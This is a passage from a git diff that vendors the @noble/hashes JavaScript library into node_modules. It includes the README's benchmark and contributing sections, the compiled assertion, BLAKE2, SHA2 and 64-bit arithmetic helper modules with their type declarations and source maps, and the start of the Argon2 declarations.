326ms/op +PBKDF2-HMAC-SHA512 262144 x 1 ops/sec @ 970ms/op +Scrypt r: 8, p: 1, n: 262144 x 1 ops/sec @ 616ms/op +``` + +Compare to native node.js implementation that uses C bindings instead of pure-js code: + +``` +SHA256 32B node x 1,302,083 ops/sec @ 768ns/op ± 10.54% (min: 416ns, max: 7ms) +SHA384 32B node x 975,609 ops/sec @ 1μs/op ± 11.32% (min: 625ns, max: 8ms) +SHA512 32B node x 983,284 ops/sec @ 1μs/op ± 11.24% (min: 625ns, max: 8ms) +SHA3-256 32B node x 910,746 ops/sec @ 1μs/op ± 12.19% (min: 666ns, max: 10ms) +keccak, k12, m14 are not implemented +BLAKE2b 32B node x 967,117 ops/sec @ 1μs/op ± 11.26% (min: 625ns, max: 9ms) +BLAKE2s 32B node x 1,055,966 ops/sec @ 947ns/op ± 11.07% (min: 583ns, max: 7ms) +BLAKE3 is not implemented +RIPEMD160 32B node x 1,002,004 ops/sec @ 998ns/op ± 10.66% (min: 625ns, max: 7ms) +HMAC-SHA256 32B node x 919,963 ops/sec @ 1μs/op ± 6.13% (min: 833ns, max: 5ms) +HKDF-SHA256 32 node x 369,276 ops/sec @ 2μs/op ± 13.59% (min: 1μs, max: 9ms) +PBKDF2-HMAC-SHA256 262144 node x 25 ops/sec @ 39ms/op +PBKDF2-HMAC-SHA512 262144 node x 7 ops/sec @ 132ms/op +Scrypt r: 8, p: 1, n: 262144 node x 1 ops/sec @ 523ms/op +``` + +It is possible to [make this library 4x+ faster](./benchmark/README.md) by +_doing code generation of full loop unrolls_. We've decided against it. Reasons: + +- the library must be auditable, with minimum amount of code, and zero dependencies +- most method invocations with the lib are going to be something like hashing 32b to 64kb of data +- hashing big inputs is 10x faster with low-level languages, which means you should probably pick 'em instead + +The current performance is good enough when compared to other projects; SHA256 takes only 900 nanoseconds to run. + +## Contributing & testing + +1. Clone the repository +2. `npm install` to install build dependencies like TypeScript +3. `npm run build` to compile TypeScript code +4. `npm run test` will execute all main tests. See [our approach to testing](./test/README.md) +5. `npm run test:dos` will test against DoS; by measuring function complexity. **Takes ~20 minutes** +6. `npm run test:big` will execute hashing on 4GB inputs, + scrypt with 1024 different `N, r, p` combinations, etc. **Takes several hours**. Using 8-32+ core CPU helps. + +## License + +The MIT License (MIT) + +Copyright (c) 2022 Paul Miller [(https://paulmillr.com)](https://paulmillr.com) + +See LICENSE file. diff --git a/node_modules/@noble/hashes/_assert.d.ts b/node_modules/@noble/hashes/_assert.d.ts new file mode 100644 index 000000000000..32a720bb113c --- /dev/null +++ b/node_modules/@noble/hashes/_assert.d.ts @@ -0,0 +1,22 @@ +declare function number(n: number): void; +declare function bool(b: boolean): void; +declare function bytes(b: Uint8Array | undefined, ...lengths: number[]): void; +type Hash = { + (data: Uint8Array): Uint8Array; + blockLen: number; + outputLen: number; + create: any; +}; +declare function hash(hash: Hash): void; +declare function exists(instance: any, checkFinished?: boolean): void; +declare function output(out: any, instance: any): void; +export { number, bool, bytes, hash, exists, output }; +declare const assert: { + number: typeof number; + bool: typeof bool; + bytes: typeof bytes; + hash: typeof hash; + exists: typeof exists; + output: typeof output; +}; +export default assert; diff --git a/node_modules/@noble/hashes/_assert.js b/node_modules/@noble/hashes/_assert.js new file mode 100644 index 000000000000..920cdd9998ee --- /dev/null +++ b/node_modules/@noble/hashes/_assert.js @@ -0,0 +1,45 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.output = exports.exists = exports.hash = exports.bytes = exports.bool = exports.number = void 0; +function number(n) { + if (!Number.isSafeInteger(n) || n < 0) + throw new Error(`Wrong positive integer: ${n}`); +} +exports.number = number; +function bool(b) { + if (typeof b !== 'boolean') + throw new Error(`Expected boolean, not ${b}`); +} +exports.bool = bool; +function bytes(b, ...lengths) { + if (!(b instanceof Uint8Array)) + throw new Error('Expected Uint8Array'); + if (lengths.length > 0 && !lengths.includes(b.length)) + throw new Error(`Expected Uint8Array of length ${lengths}, not of length=${b.length}`); +} +exports.bytes = bytes; +function hash(hash) { + if (typeof hash !== 'function' || typeof hash.create !== 'function') + throw new Error('Hash should be wrapped by utils.wrapConstructor'); + number(hash.outputLen); + number(hash.blockLen); +} +exports.hash = hash; +function exists(instance, checkFinished = true) { + if (instance.destroyed) + throw new Error('Hash instance has been destroyed'); + if (checkFinished && instance.finished) + throw new Error('Hash#digest() has already been called'); +} +exports.exists = exists; +function output(out, instance) { + bytes(out); + const min = instance.outputLen; + if (out.length < min) { + throw new Error(`digestInto() expects output buffer of length at least ${min}`); + } +} +exports.output = output; +const assert = { number, bool, bytes, hash, exists, output }; +exports.default = assert; +//# sourceMappingURL=_assert.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/_assert.js.map b/node_modules/@noble/hashes/_assert.js.map new file mode 100644 index 000000000000..f3cc5159d870 --- /dev/null +++ b/node_modules/@noble/hashes/_assert.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_assert.js","sourceRoot":"","sources":["src/_assert.ts"],"names":[],"mappings":";;;AAAA,SAAS,MAAM,CAAC,CAAS;IACvB,IAAI,CAAC,MAAM,CAAC,aAAa,CAAC,CAAC,CAAC,IAAI,CAAC,GAAG,CAAC;QAAE,MAAM,IAAI,KAAK,CAAC,2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,GAAG,QAAQ,CAAC,SAAS,CAAC;IAC/B,IAAI,GAAG,CAAC,MAAM,GAAG,GAAG,EAAE;QACpB,MAAM,IAAI,KAAK,CAAC,yDAAyD,GAAG,EAAE,CAAC,CAAC;KACjF;AACH,CAAC;AAE2C,wBAAM;AAElD,MAAM,MAAM,GAAG,EAAE,MAAM,EAAE,IAAI,EAAE,KAAK,EAAE,IAAI,EAAE,MAAM,EAAE,MAAM,EAAE,CAAC;AAC7D,kBAAe,MAAM,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/_blake2.d.ts b/node_modules/@noble/hashes/_blake2.d.ts new file mode 100644 index 000000000000..352b978aa7f3 --- /dev/null +++ b/node_modules/@noble/hashes/_blake2.d.ts @@ -0,0 +1,27 @@ +import { Hash, Input } from './utils.js'; +export declare const SIGMA: Uint8Array; +export type BlakeOpts = { + dkLen?: number; + key?: Input; + salt?: Input; + personalization?: Input; +}; +export declare abstract class BLAKE2> extends Hash { + readonly blockLen: number; + outputLen: number; + protected abstract compress(msg: Uint32Array, offset: number, isLast: boolean): void; + protected abstract get(): number[]; + protected abstract set(...args: number[]): void; + abstract destroy(): void; + protected buffer: Uint8Array; + protected buffer32: Uint32Array; + protected length: number; + protected pos: number; + protected finished: boolean; + protected destroyed: boolean; + constructor(blockLen: number, outputLen: number, opts: BlakeOpts | undefined, keyLen: number, saltLen: number, persLen: number); + update(data: Input): this; + digestInto(out: Uint8Array): void; + digest(): Uint8Array; + _cloneInto(to?: T): T; +} diff --git a/node_modules/@noble/hashes/_blake2.js b/node_modules/@noble/hashes/_blake2.js new file mode 100644 index 000000000000..9a5a45d8b66d --- /dev/null +++ b/node_modules/@noble/hashes/_blake2.js @@ -0,0 +1,112 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.BLAKE2 = exports.SIGMA = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +// Blake is based on ChaCha permutation. +// For BLAKE2b, the two extra permutations for rounds 10 and 11 are SIGMA[10..11] = SIGMA[0..1]. +// prettier-ignore +exports.SIGMA = new Uint8Array([ + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, + 11, 8, 12, 0, 5, 2, 15, 13, 10, 14, 3, 6, 7, 1, 9, 4, + 7, 9, 3, 1, 13, 12, 11, 14, 2, 6, 5, 10, 4, 0, 15, 8, + 9, 0, 5, 7, 2, 4, 10, 15, 14, 1, 11, 12, 6, 8, 3, 13, + 2, 12, 6, 10, 0, 11, 8, 3, 4, 13, 7, 5, 15, 14, 1, 9, + 12, 5, 1, 15, 14, 13, 4, 10, 0, 7, 6, 3, 9, 2, 8, 11, + 13, 11, 7, 14, 12, 1, 3, 9, 5, 0, 15, 4, 8, 6, 2, 10, + 6, 15, 14, 9, 11, 3, 0, 8, 12, 2, 13, 7, 1, 4, 10, 5, + 10, 2, 8, 4, 7, 6, 1, 5, 15, 11, 9, 14, 3, 12, 13, 0, + 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, + 14, 10, 4, 8, 9, 15, 13, 6, 1, 12, 0, 2, 11, 7, 5, 3, +]); +class BLAKE2 extends utils_js_1.Hash { + constructor(blockLen, outputLen, opts = {}, keyLen, saltLen, persLen) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.length = 0; + this.pos = 0; + this.finished = false; + this.destroyed = false; + (0, _assert_js_1.number)(blockLen); + (0, _assert_js_1.number)(outputLen); + (0, _assert_js_1.number)(keyLen); + if (outputLen < 0 || outputLen > keyLen) + throw new Error('outputLen bigger than keyLen'); + if (opts.key !== undefined && (opts.key.length < 1 || opts.key.length > keyLen)) + throw new Error(`key must be up 1..${keyLen} byte long or undefined`); + if (opts.salt !== undefined && opts.salt.length !== saltLen) + throw new Error(`salt must be ${saltLen} byte long or undefined`); + if (opts.personalization !== undefined && opts.personalization.length !== persLen) + throw new Error(`personalization must be ${persLen} byte long or undefined`); + this.buffer32 = (0, utils_js_1.u32)((this.buffer = new Uint8Array(blockLen))); + } + update(data) { + (0, _assert_js_1.exists)(this); + // Main difference with other hashes: there is flag for last block, + // so we cannot process current block before we know that there + // is the next one. This significantly complicates logic and reduces ability + // to do zero-copy processing + const { blockLen, buffer, buffer32 } = this; + data = (0, utils_js_1.toBytes)(data); + const len = data.length; + const offset = data.byteOffset; + const buf = data.buffer; + for (let pos = 0; pos < len;) { + // If buffer is full and we still have input (don't process last block, same as blake2s) + if (this.pos === blockLen) { + this.compress(buffer32, 0, false); + this.pos = 0; + } + const take = Math.min(blockLen - this.pos, len - pos); + const dataOffset = offset + pos; + // full block && aligned to 4 bytes && not last in input + if (take === blockLen && !(dataOffset % 4) && pos + take < len) { + const data32 = new Uint32Array(buf, dataOffset, Math.floor((len - pos) / 4)); + for (let pos32 = 0; pos + blockLen < len; pos32 += buffer32.length, pos += blockLen) { + this.length += blockLen; + this.compress(data32, pos32, false); + } + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + this.length += take; + pos += take; + } + return this; + } + digestInto(out) { + (0, _assert_js_1.exists)(this); + (0, _assert_js_1.output)(out, this); + const { pos, buffer32 } = this; + this.finished = true; + // Padding + this.buffer.subarray(pos).fill(0); + this.compress(buffer32, 0, true); + const out32 = (0, utils_js_1.u32)(out); + this.get().forEach((v, i) => (out32[i] = v)); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + const { buffer, length, finished, destroyed, outputLen, pos } = this; + to || (to = new this.constructor({ dkLen: outputLen })); + to.set(...this.get()); + to.length = length; + to.finished = finished; + to.destroyed = destroyed; + to.outputLen = outputLen; + to.buffer.set(buffer); + to.pos = pos; + return to; + } +} +exports.BLAKE2 = BLAKE2; +//# sourceMappingURL=_blake2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/_blake2.js.map b/node_modules/@noble/hashes/_blake2.js.map new file mode 100644 index 000000000000..85cf0b6d775e --- /dev/null +++ b/node_modules/@noble/hashes/_blake2.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_blake2.js","sourceRoot":"","sources":["src/_blake2.ts"],"names":[],"mappings":";;;AAAA,6CAAsD;AACtD,yCAAuD;AAEvD,wCAAwC;AAExC,gGAAgG;AAChG,kBAAkB;AACL,QAAA,KAAK,GAAmB,IAAI,UAAU,CAAC;IAClD,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE;IACpD,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC;IACpD,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC;IACpD,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC;IACpD,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,EAAE,EAAE,CAAC,EAAE,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IACD,MAAM;QACJ,MAAM,EAAE,MAAM,EAAE,SAAS,EAAE,GAAG,IAAI,CAAC;QACnC,IAAI,CAAC,UAAU,CAAC,MAAM,CAAC,CAAC;QACxB,MAAM,GAAG,GAAG,MAAM,CAAC,KAAK,CAAC,CAAC,EAAE,SAAS,CAAC,CAAC;QACvC,IAAI,CAAC,OAAO,EAAE,CAAC;QACf,OAAO,GAAG,CAAC;IACb,CAAC;IACD,UAAU,CAAC,EAAM;QACf,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,QAAQ,EAAE,SAAS,EAAE,SAAS,EAAE,GAAG,EAAE,GAAG,IAAI,CAAC;QACrE,EAAE,KAAF,EAAE,GAAK,IAAK,IAAI,CAAC,WAAmB,CAAC,EAAE,KAAK,EAAE,SAAS,EAAE,CAAM,EAAC;QAChE,EAAE,CAAC,GAAG,CAAC,GAAG,IAAI,CAAC,GAAG,EAAE,CAAC,CAAC;QACtB,EAAE,CAAC,MAAM,GAAG,MAAM,CAAC;QACnB,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QACtB,EAAE,CAAC,GAAG,GAAG,GAAG,CAAC;QACb,OAAO,EAAE,CAAC;IACZ,CAAC;CACF;AAlGD,wBAkGC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/_sha2.d.ts b/node_modules/@noble/hashes/_sha2.d.ts new file mode 100644 index 000000000000..883788fddeeb --- /dev/null +++ b/node_modules/@noble/hashes/_sha2.d.ts @@ -0,0 +1,23 @@ +import { Hash, Input } from './utils.js'; +export declare abstract class SHA2> extends Hash { + readonly blockLen: number; + outputLen: number; + readonly padOffset: number; + readonly isLE: boolean; + protected abstract process(buf: DataView, offset: number): void; + protected abstract get(): number[]; + protected abstract set(...args: number[]): void; + abstract destroy(): void; + protected abstract roundClean(): void; + protected buffer: Uint8Array; + protected view: DataView; + protected finished: boolean; + protected length: number; + protected pos: number; + protected destroyed: boolean; + constructor(blockLen: number, outputLen: number, padOffset: number, isLE: boolean); + update(data: Input): this; + digestInto(out: Uint8Array): void; + digest(): Uint8Array; + _cloneInto(to?: T): T; +} diff --git a/node_modules/@noble/hashes/_sha2.js b/node_modules/@noble/hashes/_sha2.js new file mode 100644 index 000000000000..7a45349e40af --- /dev/null +++ b/node_modules/@noble/hashes/_sha2.js @@ -0,0 +1,118 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.SHA2 = void 0; +const _assert_js_1 = require("./_assert.js"); +const utils_js_1 = require("./utils.js"); +// Polyfill for Safari 14 +function setBigUint64(view, byteOffset, value, isLE) { + if (typeof view.setBigUint64 === 'function') + return view.setBigUint64(byteOffset, value, isLE); + const _32n = BigInt(32); + const _u32_max = BigInt(0xffffffff); + const wh = Number((value >> _32n) & _u32_max); + const wl = Number(value & _u32_max); + const h = isLE ? 4 : 0; + const l = isLE ? 0 : 4; + view.setUint32(byteOffset + h, wh, isLE); + view.setUint32(byteOffset + l, wl, isLE); +} +// Base SHA2 class (RFC 6234) +class SHA2 extends utils_js_1.Hash { + constructor(blockLen, outputLen, padOffset, isLE) { + super(); + this.blockLen = blockLen; + this.outputLen = outputLen; + this.padOffset = padOffset; + this.isLE = isLE; + this.finished = false; + this.length = 0; + this.pos = 0; + this.destroyed = false; + this.buffer = new Uint8Array(blockLen); + this.view = (0, utils_js_1.createView)(this.buffer); + } + update(data) { + (0, _assert_js_1.exists)(this); + const { view, buffer, blockLen } = this; + data = (0, utils_js_1.toBytes)(data); + const len = data.length; + for (let pos = 0; pos < len;) { + const take = Math.min(blockLen - this.pos, len - pos); + // Fast path: we have at least one block in input, cast it to view and process + if (take === blockLen) { + const dataView = (0, utils_js_1.createView)(data); + for (; blockLen <= len - pos; pos += blockLen) + this.process(dataView, pos); + continue; + } + buffer.set(data.subarray(pos, pos + take), this.pos); + this.pos += take; + pos += take; + if (this.pos === blockLen) { + this.process(view, 0); + this.pos = 0; + } + } + this.length += data.length; + this.roundClean(); + return this; + } + digestInto(out) { + (0, _assert_js_1.exists)(this); + (0, _assert_js_1.output)(out, this); + this.finished = true; + // Padding + // We can avoid allocation of buffer for padding completely if it + // was previously not allocated here. But it won't change performance. + const { buffer, view, blockLen, isLE } = this; + let { pos } = this; + // append the bit '1' to the message + buffer[pos++] = 0b10000000; + this.buffer.subarray(pos).fill(0); + // we have less than padOffset left in buffer, so we cannot put length in current block, need process it and pad again + if (this.padOffset > blockLen - pos) { + this.process(view, 0); + pos = 0; + } + // Pad until full block byte with zeros + for (let i = pos; i < blockLen; i++) + buffer[i] = 0; + // Note: sha512 requires length to be 128bit integer, but length in JS will overflow before that + // You need to write around 2 exabytes (u64_max / 8 / (1024**6)) for this to happen. + // So we just write lowest 64 bits of that value. + setBigUint64(view, blockLen - 8, BigInt(this.length * 8), isLE); + this.process(view, 0); + const oview = (0, utils_js_1.createView)(out); + const len = this.outputLen; + // NOTE: we do division by 4 later, which should be fused in single op with modulo by JIT + if (len % 4) + throw new Error('_sha2: outputLen should be aligned to 32bit'); + const outLen = len / 4; + const state = this.get(); + if (outLen > state.length) + throw new Error('_sha2: outputLen bigger than state'); + for (let i = 0; i < outLen; i++) + oview.setUint32(4 * i, state[i], isLE); + } + digest() { + const { buffer, outputLen } = this; + this.digestInto(buffer); + const res = buffer.slice(0, outputLen); + this.destroy(); + return res; + } + _cloneInto(to) { + to || (to = new this.constructor()); + to.set(...this.get()); + const { blockLen, buffer, length, finished, destroyed, pos } = this; + to.length = length; + to.pos = pos; + to.finished = finished; + to.destroyed = destroyed; + if (length % blockLen) + to.buffer.set(buffer); + return to; + } +} +exports.SHA2 = SHA2; +//# sourceMappingURL=_sha2.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/_sha2.js.map b/node_modules/@noble/hashes/_sha2.js.map new file mode 100644 index 000000000000..9c9c8eb3e99a --- /d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C,GAAG,GAAG,GAAG,CAAC;QACb,EAAE,CAAC,QAAQ,GAAG,QAAQ,CAAC;QACvB,EAAE,CAAC,SAAS,GAAG,SAAS,CAAC;QACzB,IAAI,MAAM,GAAG,QAAQ;YAAE,EAAE,CAAC,MAAM,CAAC,GAAG,CAAC,MAAM,CAAC,CAAC;QAC7C,OAAO,EAAE,CAAC;IACZ,CAAC;CACF;AApGD,oBAoGC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/_u64.d.ts b/node_modules/@noble/hashes/_u64.d.ts new file mode 100644 index 000000000000..59fd1c281f07 --- /dev/null +++ b/node_modules/@noble/hashes/_u64.d.ts @@ -0,0 +1,54 @@ +declare function fromBig(n: bigint, le?: boolean): { + h: number; + l: number; +}; +declare function split(lst: bigint[], le?: boolean): Uint32Array[]; +declare const toBig: (h: number, l: number) => bigint; +declare const shrSH: (h: number, _l: number, s: number) => number; +declare const shrSL: (h: number, l: number, s: number) => number; +declare const rotrSH: (h: number, l: number, s: number) => number; +declare const rotrSL: (h: number, l: number, s: number) => number; +declare const rotrBH: (h: number, l: number, s: number) => number; +declare const rotrBL: (h: number, l: number, s: number) => number; +declare const rotr32H: (_h: number, l: number) => number; +declare const rotr32L: (h: number, _l: number) => number; +declare const rotlSH: (h: number, l: number, s: number) => number; +declare const rotlSL: (h: number, l: number, s: number) => number; +declare const rotlBH: (h: number, l: number, s: number) => number; +declare const rotlBL: (h: number, l: number, s: number) => number; +declare function add(Ah: number, Al: number, Bh: number, Bl: number): { + h: number; + l: number; +}; +declare const add3L: (Al: number, Bl: number, Cl: number) => number; +declare const add3H: (low: number, Ah: number, Bh: number, Ch: number) => number; +declare const add4L: (Al: number, Bl: number, Cl: number, Dl: number) => number; +declare const add4H: (low: number, Ah: number, Bh: number, Ch: number, Dh: number) => number; +declare const add5L: (Al: number, Bl: number, Cl: number, Dl: number, El: number) => number; +declare const add5H: (low: number, Ah: number, Bh: number, Ch: number, Dh: number, Eh: number) => number; +export { fromBig, split, toBig, shrSH, shrSL, rotrSH, rotrSL, rotrBH, rotrBL, rotr32H, rotr32L, rotlSH, rotlSL, rotlBH, rotlBL, add, add3L, add3H, add4L, add4H, add5H, add5L, }; +declare const u64: { + fromBig: typeof fromBig; + split: typeof split; + toBig: (h: number, l: number) => bigint; + shrSH: (h: number, _l: number, s: number) => number; + shrSL: (h: number, l: number, s: number) => number; + rotrSH: (h: number, l: number, s: number) => number; + rotrSL: (h: number, l: number, s: number) => number; + rotrBH: (h: number, l: number, s: number) => number; + rotrBL: (h: number, l: number, s: number) => number; + rotr32H: (_h: number, l: number) => number; + rotr32L: (h: number, _l: number) => number; + rotlSH: (h: number, l: number, s: number) => number; + rotlSL: (h: number, l: number, s: number) => number; + rotlBH: (h: number, l: number, s: number) => number; + rotlBL: (h: number, l: number, s: number) => number; + add: typeof add; + add3L: (Al: number, Bl: number, Cl: number) => number; + add3H: (low: number, Ah: number, Bh: number, Ch: number) => number; + add4L: (Al: number, Bl: number, Cl: number, Dl: number) => number; + add4H: (low: number, Ah: number, Bh: number, Ch: number, Dh: number) => number; + add5H: (low: number, Ah: number, Bh: number, Ch: number, Dh: number, Eh: number) => number; + add5L: (Al: number, Bl: number, Cl: number, Dl: number, El: number) => number; +}; +export default u64; diff --git a/node_modules/@noble/hashes/_u64.js b/node_modules/@noble/hashes/_u64.js new file mode 100644 index 000000000000..c5080f0e21d3 --- /dev/null +++ b/node_modules/@noble/hashes/_u64.js @@ -0,0 +1,85 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.add5L = exports.add5H = exports.add4H = exports.add4L = exports.add3H = exports.add3L = exports.add = exports.rotlBL = exports.rotlBH = exports.rotlSL = exports.rotlSH = exports.rotr32L = exports.rotr32H = exports.rotrBL = exports.rotrBH = exports.rotrSL = exports.rotrSH = exports.shrSL = exports.shrSH = exports.toBig = exports.split = exports.fromBig = void 0; +const U32_MASK64 = /* @__PURE__ */ BigInt(2 ** 32 - 1); +const _32n = /* @__PURE__ */ BigInt(32); +// We are not using BigUint64Array, because they are extremely slow as per 2022 +function fromBig(n, le = false) { + if (le) + return { h: Number(n & U32_MASK64), l: Number((n >> _32n) & U32_MASK64) }; + return { h: Number((n >> _32n) & U32_MASK64) | 0, l: Number(n & U32_MASK64) | 0 }; +} +exports.fromBig = fromBig; +function split(lst, le = false) { + let Ah = new Uint32Array(lst.length); + let Al = new Uint32Array(lst.length); + for (let i = 0; i < lst.length; i++) { + const { h, l } = fromBig(lst[i], le); + [Ah[i], Al[i]] = [h, l]; + } + return [Ah, Al]; +} +exports.split = split; +const toBig = (h, l) => (BigInt(h >>> 0) << _32n) | BigInt(l >>> 0); +exports.toBig = toBig; +// for Shift in [0, 32) +const shrSH = (h, _l, s) => h >>> s; +exports.shrSH = shrSH; +const shrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +exports.shrSL = shrSL; +// Right rotate for Shift in [1, 32) +const rotrSH = (h, l, s) => (h >>> s) | (l << (32 - s)); +exports.rotrSH = rotrSH; +const rotrSL = (h, l, s) => (h << (32 - s)) | (l >>> s); +exports.rotrSL = rotrSL; +// Right rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotrBH = (h, l, s) => (h << (64 - s)) | (l >>> (s - 32)); +exports.rotrBH = rotrBH; +const rotrBL = (h, l, s) => (h >>> (s - 32)) | (l << (64 - s)); +exports.rotrBL = rotrBL; +// Right rotate for shift===32 (just swaps l&h) +const rotr32H = (_h, l) => l; +exports.rotr32H = rotr32H; +const rotr32L = (h, _l) => h; +exports.rotr32L = rotr32L; +// Left rotate for Shift in [1, 32) +const rotlSH = (h, l, s) => (h << s) | (l >>> (32 - s)); +exports.rotlSH = rotlSH; +const rotlSL = (h, l, s) => (l << s) | (h >>> (32 - s)); +exports.rotlSL = rotlSL; +// Left rotate for Shift in (32, 64), NOTE: 32 is special case. +const rotlBH = (h, l, s) => (l << (s - 32)) | (h >>> (64 - s)); +exports.rotlBH = rotlBH; +const rotlBL = (h, l, s) => (h << (s - 32)) | (l >>> (64 - s)); +exports.rotlBL = rotlBL; +// JS uses 32-bit signed integers for bitwise operations which means we cannot +// simple take carry out of low bit sum by shift, we need to use division. +function add(Ah, Al, Bh, Bl) { + const l = (Al >>> 0) + (Bl >>> 0); + return { h: (Ah + Bh + ((l / 2 ** 32) | 0)) | 0, l: l | 0 }; +} +exports.add = add; +// Addition with more than 2 elements +const add3L = (Al, Bl, Cl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0); +exports.add3L = add3L; +const add3H = (low, Ah, Bh, Ch) => (Ah + Bh + Ch + ((low / 2 ** 32) | 0)) | 0; +exports.add3H = add3H; +const add4L = (Al, Bl, Cl, Dl) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0); +exports.add4L = add4L; +const add4H = (low, Ah, Bh, Ch, Dh) => (Ah + Bh + Ch + Dh + ((low / 2 ** 32) | 0)) | 0; +exports.add4H = add4H; +const add5L = (Al, Bl, Cl, Dl, El) => (Al >>> 0) + (Bl >>> 0) + (Cl >>> 0) + (Dl >>> 0) + (El >>> 0); +exports.add5L = add5L; +const add5H = (low, Ah, Bh, Ch, Dh, Eh) => (Ah + Bh + Ch + Dh + Eh + ((low / 2 ** 32) | 0)) | 0; +exports.add5H = add5H; +// prettier-ignore +const u64 = { + fromBig, split, toBig, + shrSH, shrSL, + rotrSH, rotrSL, rotrBH, rotrBL, + rotr32H, rotr32L, + rotlSH, rotlSL, rotlBH, rotlBL, + add, add3L, add3H, add4L, add4H, add5H, add5L, +}; +exports.default = u64; +//# sourceMappingURL=_u64.js.map \ No newline at end of file diff --git a/node_modules/@noble/hashes/_u64.js.map b/node_modules/@noble/hashes/_u64.js.map new file mode 100644 index 000000000000..6116a39a279c --- /dev/null +++ b/node_modules/@noble/hashes/_u64.js.map @@ -0,0 +1 @@ +{"version":3,"file":"_u64.js","sourceRoot":"","sources":["src/_u64.ts"],"names":[],"mappings":";;;AAAA,MAAM,UAAU,GAAG,eAAe,CAAC,MAAM,CAAC,CAAC,IAAI,EA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AatB,sBAAK;AAZjC,MAAM,KAAK,GAAG,CAAC,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAE,CAC3E,CAAC,EAAE,KAAK,CAAC,CAAC,GAAG,CAAC,EAAE,KAAK,CAAC,CAAC,GAAG,CAAC,EAAE,KAAK,CAAC,CAAC,GAAG,CAAC,EAAE,KAAK,CAAC,CAAC,GAAG,CAAC,EAAE,KAAK,CAAC,CAAC,CAAC;AAWvB,sBAAK;AAV/C,MAAM,KAAK,GAAG,CAAC,GAAW,EAAE,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAU,EAAE,EAAE,CACxF,CAAC,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,EAAE,GAAG,CAAC,CAAC,GAAG,GAAG,CAAC,IAAI,EAAE,CAAC,GAAG,CAAC,CAAC,CAAC,GAAG,CAAC,CAAC;AASpB,sBAAK;AAExC,kBAAkB;AAClB,MAAM,GAAG,GAAG;IACV,OAAO,EAAE,KAAK,EAAE,KAAK;IACrB,KAAK,EAAE,KAAK;IACZ,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM;IAC9B,OAAO,EAAE,OAAO;IAChB,MAAM,EAAE,MAAM,EAAE,MAAM,EAAE,MAAM;IAC9B,GAAG,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK,EAAE,KAAK;CAC9C,CAAC;AACF,kBAAe,GAAG,CAAC"} \ No newline at end of file diff --git a/node_modules/@noble/hashes/argon2.d.ts b/node_modules/@noble/hashes/argon2.d.ts new file mode 100644 index 000000000000..15b64865396d --- /dev/null +++ b/node_modules/@noble/hashes/argon2.d.ts @@ -0,0 +1,16 @@ +import { Input } from './utils.js'; +export type ArgonOpts = { + t: number; + m: number; + p: number; + version?: number; + key?: Input; + personalization?: Input; + dkLen?: number; + asyncTick?: number; + maxmem?: number; + onProgress?: (progress: number) => void; +}; +export declare const argon2d: (password: Input, salt: Input, opts: ArgonOpts) => Uint8Array; +export declare const argon2i: (password: Input, salt: 